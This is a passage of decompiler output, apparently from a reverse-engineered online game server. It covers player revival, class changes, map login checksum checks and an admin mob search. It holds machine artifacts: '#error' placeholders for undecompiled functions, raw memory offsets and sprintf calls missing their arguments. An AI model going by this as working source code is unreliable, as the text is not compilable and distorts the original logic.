FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"); } // 5DB5B4: using guessed type int PacketEncrypt__pe_encryptlen; //----- (00437D40) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(void *pReviveObj) { void *v1; // esi@1 FieldOption::FieldAttr *result; // eax@3 int v3; // edx@7 unsigned int v4; // eax@7 KingdomQuest::KQElement *v5; // eax@7 int v6; // edi@8 int v7; // ecx@10 unsigned int v8; // eax@10 char *v9; // eax@10 char *v10; // ST04_4@10 DebugLogging *v11; // eax@10 DebugLogging *v12; // eax@10 DebugLogging *v13; // eax@10 DebugLogging *v14; // eax@10 DebugLogging *v15; // eax@10 int v16; // ebp@10 bool v17; // al@10 DebugLogging *v18; // eax@13 DebugLogging *v19; // eax@13 int v20; // edi@13 unsigned __int8 v21; // al@14 int v22; // eax@17 GuildTournamentSystem *v23; // ebp@17 unsigned int v24; // eax@19 DebugLogging *v25; // eax@23 DebugLogging *v26; // eax@23 char *v27; // eax@23 FieldOption::FieldAttr *v28; // edi@23 char *v29; // eax@24 unsigned __int16 v30; // ax@24 MapInfo *v31; // ebp@24 char *v32; // eax@24 char *v33; // eax@24 int v34; // eax@25 char v35; // al@26 unsigned __int8 v36; // al@27 int v37; // eax@31 GuildTournamentSystem *v38; // ebp@31 unsigned int v39; // eax@33 void *v40; // ecx@36 int v41; // eax@38 int v42; // eax@39 char revivehere; // [sp+7h] [bp-71h]@7 __int16 listhandle; // [sp+8h] [bp-70h]@7 char lnkinf; // [sp+Ch] [bp-6Ch]@39 char v46[4]; // [sp+20h] [bp-58h]@14 int v47; // [sp+24h] [bp-54h]@14 int v48; // [sp+28h] [bp-50h]@14 char v49; // [sp+2Ch] [bp-4Ch]@14 char v50[4]; // [sp+41h] [bp-37h]@14 int v51; // [sp+45h] [bp-33h]@14 int v52; // [sp+49h] [bp-2Fh]@14 char v53; // [sp+4Dh] [bp-2Bh]@14 unsigned int v54; // [sp+62h] [bp-16h]@15 unsigned int v55; // [sp+66h] [bp-12h]@15 __int16 v56; // [sp+6Ah] [bp-Eh]@20 v1 = pReviveObj; if ( !(_S8_12 & 1) ) { _S8_12 |= 1u; cmc_13.cmc_AllowMode = 8; atexit(_E9_9); } result = (FieldOption::FieldAttr *)cmc_13.cmc_AllowMode; if ( (1 << **((_BYTE **)v1 + 929)) & cmc_13.cmc_AllowMode ) { result = *(FieldOption::FieldAttr **)((char *)v1 + 98); if ( result ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); v3 = *(_DWORD *)v1; *((_DWORD *)v1 + 23173) = 0; v4 = (*(int (__thiscall **)(void *))(v3 + 836))(v1); AbnormalStateShelter::AbstateShelter::as_Remove(&g_AbstateShelter, v4); v5 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle( &kqcontainer, *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60), (unsigned __int16 *)&listhandle); revivehere = 0; if ( v5 ) v6 = KingdomQuest::KQElement::kqe_ReviveNumber(v5, &revivehere); else v6 = 0; v7 = *(_DWORD *)((char *)v1 + 98); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); v10 = v9; *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); v9[12] = 0; v11 = DebugLogging::operator<<(&KQLogging, "Revive Ready["); v12 = DebugLogging::operator<<(v11, v10); v13 = DebugLogging::operator<<(v12, (char *)&stru_59F2B8); v14 = DebugLogging::operator<<(v13, v6); v15 = DebugLogging::operator<<(v14, (char *)&stru_59CBB8); DebugLogging::operator<<(v15, &deb_LF); v16 = ShineObjectClass::ShinePlayer::sp_KQElementFunction(v1, KingdomQuest::KQPlayerInform::kqpi_KnockDownGet); v17 = FieldMap::fm_IsGuildTournametnMap(*(_DWORD *)((char *)v1 + 98)); if ( v6 && v6 >= v16 || v17 ) { v25 = DebugLogging::operator<<(&KQLogging, "Revive Here["); v26 = DebugLogging::operator<<(v25, v16); DebugLogging::operator<<(v26, &deb_LF); v27 = NameString::operator__(&namestring, *(Name3 **)((char *)v1 + 98)); result = FieldOption::fo_GetFieldAttr(&this, v27); v28 = result; if ( !result ) return result; v29 = NameString::operator__(&namestring, &result->mapidclient); v30 = MapDataBox::mdb_2mapid(&mapdatabox, v29); v31 = MapDataBox::operator__(&mapdatabox, v30); v32 = NameString::operator__(&namestring, *(Name3 **)((char *)v1 + 98)); strncpy(v46, v32, 0xCu); v33 = NameString::operator__(&namestring, &v28->mapidclient); strncpy(v50, v33, 0xCu); v53 = 0; v49 = 0; if ( revivehere ) { v34 = *(_DWORD *)((char *)v1 + 78); v54 = *(_DWORD *)v34; v55 = *(_DWORD *)(v34 + 4); } else { v35 = v28->regenspots; if ( (unsigned __int8)v35 <= 1u ) { v54 = v31->RegenX; v55 = v31->RegenY; } else { v36 = RandomBox::operator__(&rndbox, (unsigned __int8)v35); if ( v36 >= 4u ) v36 = 0; v54 = *((_DWORD *)&v28->regenloc[0].PKer + 2 * v36); v55 = *((_DWORD *)&v28->regenloc[0].Summoned + 2 * v36); } v37 = FieldMap::fm_GetGuildTournamentSystem(*(void **)((char *)v1 + 98)); v38 = (GuildTournamentSystem *)v37; if ( v37 && GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v37, (#331 *)v1) ) { v39 = GuildTournamentSystem::GetGuildRegIndex(v38, (#331 *)v1); if ( v39 >= 4 ) { v54 = *(_DWORD *)&v28->regenloc[0].PKer; v55 = *(_DWORD *)&v28->regenloc[0].Summoned; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ReviveReqProcess : Guild Map Revive Point Low", v39); } else { v54 = *((_DWORD *)&v28->regenloc[0].PKer + 2 * v39); v55 = *((_DWORD *)&v28->regenloc[0].Summoned + 2 * v39); } } } *(_BYTE *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1044))(v1) = 0; v40 = *(void **)((char *)v1 + 98); if ( v40 && FieldMap::fm_GetGuildTournamentSystem(v40) ) { v41 = FieldMap::fm_GetGuildTournamentSystem(*(void **)((char *)v1 + 98)); GuildTournamentSystem::GuildMasterRevive((GuildTournamentSystem *)v41, (#331 *)v1); } goto LABEL_39; } v18 = DebugLogging::operator<<(&KQLogging, "Revive City["); v19 = DebugLogging::operator<<(v18, v16); DebugLogging::operator<<(v19, &deb_LF); result = *(FieldOption::FieldAttr **)((char *)v1 + 98); v20 = *(_DWORD *)&result->delimiter; if ( !v20 ) return result; *(_DWORD *)v46 = *(_DWORD *)(v20 + 110); v47 = *(_DWORD *)(v20 + 114); v48 = *(_DWORD *)(v20 + 118); v49 = 0; *(_DWORD *)v50 = *(_DWORD *)(v20 + 110); v51 = *(_DWORD *)(v20 + 114); v52 = *(_DWORD *)(v20 + 118); v53 = 0; v21 = RandomBox::operator__(&rndbox, *(_BYTE *)(v20 + 154)); if ( v21 >= 4u ) { v54 = *(_DWORD *)(v20 + 122); v55 = *(_DWORD *)(v20 + 126); } else { v54 = *(_DWORD *)(v20 + 8 * v21 + 122); v55 = *(_DWORD *)(v20 + 8 * v21 + 126); } v22 = FieldMap::fm_GetGuildTournamentSystem(*(void **)((char *)v1 + 98)); v23 = (GuildTournamentSystem *)v22; if ( v22 && GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v22, (#331 *)v1) ) { v24 = GuildTournamentSystem::GetGuildRegIndex(v23, (#331 *)v1); if ( v24 < 4 ) { v54 = *(_DWORD *)(v20 + 8 * v24 + 122); v55 = *(_DWORD *)(v20 + 8 * v24 + 126); v56 = 0; LABEL_39: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2776))(v1, 0); *((_BYTE *)v1 + 23324) |= 1u; **((_BYTE **)v1 + 929) = 1; BriefInfoBackup::bib_Restore( (BriefInfoBackup *)v1 + 1855, (CHARBRIEFINFO_NOTCAMP *)(*(_DWORD *)((char *)v1 + 32047) + 29)); *((_DWORD *)v1 + 8024) = (unsigned int)(307 * (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1)) >> 10; *((_BYTE *)v1 + 7164) = 0; ShineObjectClass::ShineObject::so_CloseTradeMenu(v1); v42 = *(_DWORD *)v1; v56 = 0; return (FieldOption::FieldAttr *)(*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(v42 + 1472))( v1, &lnkinf, 4, 79, 80); } v54 = *(_DWORD *)(v20 + 122); v55 = *(_DWORD *)(v20 + 126); AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ReviveReqProcess : Guild Map Revive Point Low", v24); } v56 = 0; goto LABEL_39; } } return result; } //----- (004381D0) -------------------------------------------------------- #error "4381D0: undefined or illegal type '#331' (funcsize=49)" //----- (004382A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ClassChange(void *this, unsigned __int8 newclass) { void *v2; // esi@1 char *v3; // ebp@1 CharClassManager *v4; // eax@4 int v5; // eax@9 int v6; // ecx@10 unsigned __int8 v7; // cl@11 char *v8; // edi@17 ZoneBaseSession *v9; // eax@19 int v10; // ST04_4@21 int v11; // eax@21 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@21 int v13; // [sp+28h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ClassChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ClassChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v13 = 0; *(_WORD *)gpp.pp_Buffer = 4185; if ( newclass ) { *((_BYTE *)v2 + 32155) ^= (*((_BYTE *)v2 + 32155) ^ 4 * newclass) & 0x7C; if ( newclass >= 0x20u ) v4 = &charclassmanager; else v4 = (CharClassManager *)charclassmanager.ccm_array[newclass]; *((_DWORD *)v2 + 1001) = v4; v3[2] = newclass; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1368))(v2); ShineObjectClass::ShinePlayer::sp_StatRemainSend(v2); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ClassChange : None Class", 0); v3[2] = 0; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ClassChange : Packet Too Long", 3); } v6 = *(_DWORD *)((char *)v2 + 32047); if ( v6 ) { *(_BYTE *)(v6 + 28) = newclass; v7 = *(_BYTE *)(*(_DWORD *)((char *)v2 + 32047) + 27); if ( v7 ) { if ( v7 <= 2u || v7 == 6 ) *(_BYTE *)(*(_DWORD *)((char *)v2 + 32047) + 29) ^= (*(_BYTE *)(*(_DWORD *)((char *)v2 + 32047) + 29) ^ 4 * newclass) & 0x7C; } } if ( *((_BYTE *)v2 + 89087) ) *((_BYTE *)v2 + 89040) ^= (*((_BYTE *)v2 + 89040) ^ 4 * newclass) & 0x7C; v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4184; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v8 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 832))(v2); v8[10] = (*(int (**)(void))(**((_DWORD **)v2 + 1001) + 40))(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 11) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ClassChange : Packet Too Long", 11); } if ( newclass ) { *(_WORD *)v3 = 4186; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); v3[4] = newclass; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v10 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v13) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ClassChange"); } //----- (00438520) -------------------------------------------------------- #error "438520: undefined or illegal type '#440' (funcsize=76)" //----- (00438650) -------------------------------------------------------- void __thiscall ItemSmallBag::isb_Clear(ItemSmallBag *this) { ItemSmallBag *v1; // esi@1 int v2; // edi@1 int v3; // ebx@2 v1 = this; v2 = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() > 0 ) { do { v3 = (int)v1->vfptr->isb_GetInventoryCell(v1, v2); ItemInform_ActionItem::sii_Clear((ItemInform_ActionItem *)v3); *(_DWORD *)(v3 + 16) = &itmattcontainer; ++v2; } while ( v2 < v1->vfptr->isb_BagSizeOutput(v1) ); } } //----- (00438690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 unsigned int v5; // eax@1 Name4 *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 SHN_DATA_FILE_INDEX v9; // ebx@1 Name8 *v10; // eax@4 char *v11; // eax@6 int v12; // eax@8 unsigned int v13; // eax@14 char *v14; // eax@14 char *v15; // eax@14 ZoneBaseSession *v16; // eax@16 int v17; // edi@17 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 816))(v4, 0); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (Name4 *)(netcmd + 4); v7 = (char *)&namestring + 256 * v5; *(_DWORD *)v7 = *(_DWORD *)(netcmd + 4); *((_DWORD *)v7 + 1) = *(_DWORD *)(netcmd + 8); *((_DWORD *)v7 + 2) = *(_DWORD *)(netcmd + 12); *((_DWORD *)v7 + 3) = *(_DWORD *)(netcmd + 16); v7[16] = 0; v8 = CShnDataFileCheckSum::DataFileCheck(&ShnDataFile, (Name8 *)(netcmd + 20)); v9 = v8; if ( v8 < 0 || v8 >= 25 ) { if ( !(_S6_60 & 1) ) { _S6_60 |= 1u; cmc_14.cmc_AllowMode = 1; atexit(_E7_36); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_14.cmc_AllowMode ) { v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)&v6->n4_name[0]; *((_DWORD *)v14 + 1) = *(_DWORD *)(netcmd + 8); *((_DWORD *)v14 + 2) = *(_DWORD *)(netcmd + 12); *((_DWORD *)v14 + 3) = *(_DWORD *)(netcmd + 16); v14[16] = 0; v15 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = handle; *((_DWORD *)v15 + 1) = -1; *(_WORD *)v15 = 4171; *((_WORD *)v15 + 4) = *(_WORD *)(netcmd + 2); *(_DWORD *)(v15 + 10) = *(_DWORD *)&v6->n4_name[0]; *(_DWORD *)(v15 + 14) = *(_DWORD *)(netcmd + 8); *(_DWORD *)(v15 + 18) = *(_DWORD *)(netcmd + 12); *(_DWORD *)(v15 + 22) = *(_DWORD *)(netcmd + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ : Packet Too Long", 26); } v17 = (int)((char *)v4 + 32200); ItemBag::ib_clear((ItemBag *)v17); ItemBag::ib_clear((ItemBag *)(v17 + 3368)); ItemBag::ib_clear((ItemBag *)(v17 + 20076)); ItemBag::ib_clear((ItemBag *)(v17 + 20660)); ItemSmallBag::isb_Clear((ItemSmallBag *)(v17 + 24724)); } } else { if ( CShnDataFileCheckSum::GetDataFileCheckSum(&ShnDataFile, (SHN_DATA_FILE_INDEX)v8) ) { CShnDataFileCheckSum::GetDataFileName(&ShnDataFile, v9); NameString::operator__(&namestring, (Name8 *)(32 * v9 + netcmd + 20)); v10 = CShnDataFileCheckSum::GetDataFileCheckSum(&ShnDataFile, v9); NameString::operator__(&namestring, v10); } else { CShnDataFileCheckSum::GetDataFileName(&ShnDataFile, v9); NameString::operator__(&namestring, (Name8 *)(32 * v9 + netcmd + 20)); } NameString::operator__(&namestring, v6); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6148; *((_WORD *)v11 + 1) = 327; v11[4] = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ : Packet Too Long", 5); } (*(void (__thiscall **)(void *, signed int, signed int, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1678, 1, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ"); } //----- (00438990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ"); } //----- (00438A30) -------------------------------------------------------- #error "438A30: undefined or illegal type '#331' (funcsize=15)" //----- (00438A70) -------------------------------------------------------- void __thiscall AxialListMobFind::_AxialListMobFind(AxialListMobFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 59FF0C: using guessed type int (__stdcall *AxialListMobFind___vftable_)(int, int, int distancesquar); //----- (00438A80) -------------------------------------------------------- char __thiscall DropLocationManager::dlm_Getloc(DropLocationManager *this, SHINE_XY_TYPE *center, SHINE_XY_TYPE *loc, int scale) { char result; // al@2 if ( this->dlm_index.cluster < 0x20u ) { loc->x = center->x; loc->y = center->y; result = DropLoc::SameDistanceCluster::sdc_Getdelta( (DropLoc::SameDistanceCluster *)this + this->dlm_index.cluster, this->dlm_index.subscript, loc, scale); } else { AssertClass::ac_AssertFail(&shineassert, "DropLocationManager::dlm_Getloc", 32); result = 0; } return result; } //----- (00438B20) -------------------------------------------------------- #error "438B20: undefined or illegal type '#331' (funcsize=47)" //----- (00438BA0) -------------------------------------------------------- #error "438BA0: undefined or illegal type '#331' (funcsize=65)" //----- (00438CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BriefLink(void *this, int mapname, int coord) { void *v3; // edi@1 unsigned int v4; // eax@4 char *v5; // eax@4 unsigned int v6; // eax@4 char *v7; // eax@4 FieldOption::FieldAttr *v8; // esi@4 unsigned int v9; // eax@5 char *v10; // eax@5 unsigned int v11; // eax@5 unsigned int v12; // eax@9 char *v13; // eax@9 int v14; // edx@9 int v15; // eax@9 char lnkinf; // [sp+14h] [bp-78h]@9 char v17; // [sp+28h] [bp-64h]@4 char v18; // [sp+34h] [bp-58h]@4 char v19; // [sp+49h] [bp-43h]@9 int v20; // [sp+6Ah] [bp-22h]@9 int v21; // [sp+6Eh] [bp-1Eh]@9 unsigned int v22; // [sp+7Ch] [bp-10h]@10 int v23; // [sp+88h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BriefLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BriefLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; if ( mapname && coord ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)mapname; *((_DWORD *)v5 + 1) = *(_DWORD *)(mapname + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(mapname + 8); v5[12] = 0; strncpy(&v17, v5, 0xCu); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)mapname; *((_DWORD *)v7 + 1) = *(_DWORD *)(mapname + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(mapname + 8); v18 = 0; v7[12] = 0; v8 = FieldOption::fo_GetFieldAttr(&::this, v7); if ( v8 ) { v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)&v8->mapidclient.n3_name[0]; *((_DWORD *)v10 + 1) = *(_DWORD *)&v8->mapidclient.n3_name[4]; *((_DWORD *)v10 + 2) = *(_DWORD *)&v8->mapidclient.n3_name[8]; v10[12] = 0; v11 = BTree::operator__(&mapdatabox.mdb_btree, v10); if ( v11 == -1 ) LOWORD(v11) = -1; v11 = (unsigned __int16)v11; if ( (unsigned __int16)v11 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v11] ) { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v8->mapidclient.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v8->mapidclient.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v8->mapidclient.n3_name[8]; v13[12] = 0; strncpy(&v19, v13, 0x20u); v14 = *(_DWORD *)(coord + 4); v15 = *(_DWORD *)v3; v20 = *(_DWORD *)coord; v21 = v14; (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(v15 + 1472))(v3, &lnkinf, 6, 9, 10); } } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_BriefLink : Error", 0); } --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BriefLink"); __security_check_cookie(v22); } //----- (00438EC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Admin_FindMob(void *this, const char *mobindex) { void *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 int (__stdcall **almf)(int, int, int); // [sp+10h] [bp-A8h]@4 __int16 v6; // [sp+14h] [bp-A4h]@4 __int16 v7; // [sp+16h] [bp-A2h]@4 int v8; // [sp+18h] [bp-A0h]@4 int v9; // [sp+1Ch] [bp-9Ch]@4 int v10; // [sp+20h] [bp-98h]@4 FunctionEntarance _; // [sp+24h] [bp-94h]@1 char buf[128]; // [sp+28h] [bp-90h]@3 unsigned int v13; // [sp+A8h] [bp-10h]@8 int v14; // [sp+B4h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_Admin_FindMob"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Admin_FindMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Admin_FindMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v3 = BTree::operator__(&mobdatabox.mdb_btree, mobindex); v4 = v3; if ( v3 != -1 && (_WORD)v3 != -1 ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almf); almf = &AxialListMobFind::_vftable_; v6 = v4; v7 = -1; v9 = 0; v8 = 0; v10 = 5; LOBYTE(v14) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&almf, 0); if ( v9 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 2100))( v2, *(_DWORD *)(v9 + 98), *(_DWORD *)(v9 + 78)); } else { sprintf(buf, "%s is not in this map"); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1836))(v2, buf); } almf = &AxialListMobFind::_vftable_; LOBYTE(v14) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almf); } else { sprintf(buf, "%s is not Mob index"); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1836))(v2, buf); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Admin_FindMob"); __security_check_cookie(v13); } // 59FF0C: using guessed type int (__stdcall *AxialListMobFind___vftable_)(int, int, int distancesquar); //----- (00439060) -------------------------------------------------------- #error "439060: undefined or illegal type '#331' (funcsize=261)" //----- (004393D0) -------------------------------------------------------- int __thiscall FieldMap::fm_RegenCity(int this) { return *(_DWORD *)(this + 12) + 110; } //----- (004393E0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveMisc2WMS(int buffer) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveMisc2WMS", 0); return 0; } //----- (00439400) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveCharTitle(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveCharTitle", 0); return 0; } //----- (00439420) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_ply_SavePKCount(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_ply_SavePKCount", 0); return 0; } //----- (00439440) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveLocation(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveLocation", 0); return 0; } //----- (00439460) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveChestInfo(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveChestInfo", 0); return 0; } //----- (00439480) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveLevel(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveLevel", 0); return 0; } //----- (004394A0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveStat(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveStat", 0); return 0; } //----- (004394C0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_SaveGameData(int buf) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SaveGameData", 0); return 0; } //----- (004394E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_QUEST_DOING_REQ((CQuestZone *)(this + 66048), buffer); } //----- (004394F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD((CQuestZone *)(this + 66048), buffer); } //----- (00439500) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDone(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *buffer) { return CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD((CQuestZone *)(this + 66048), buffer); } //----- (00439510) 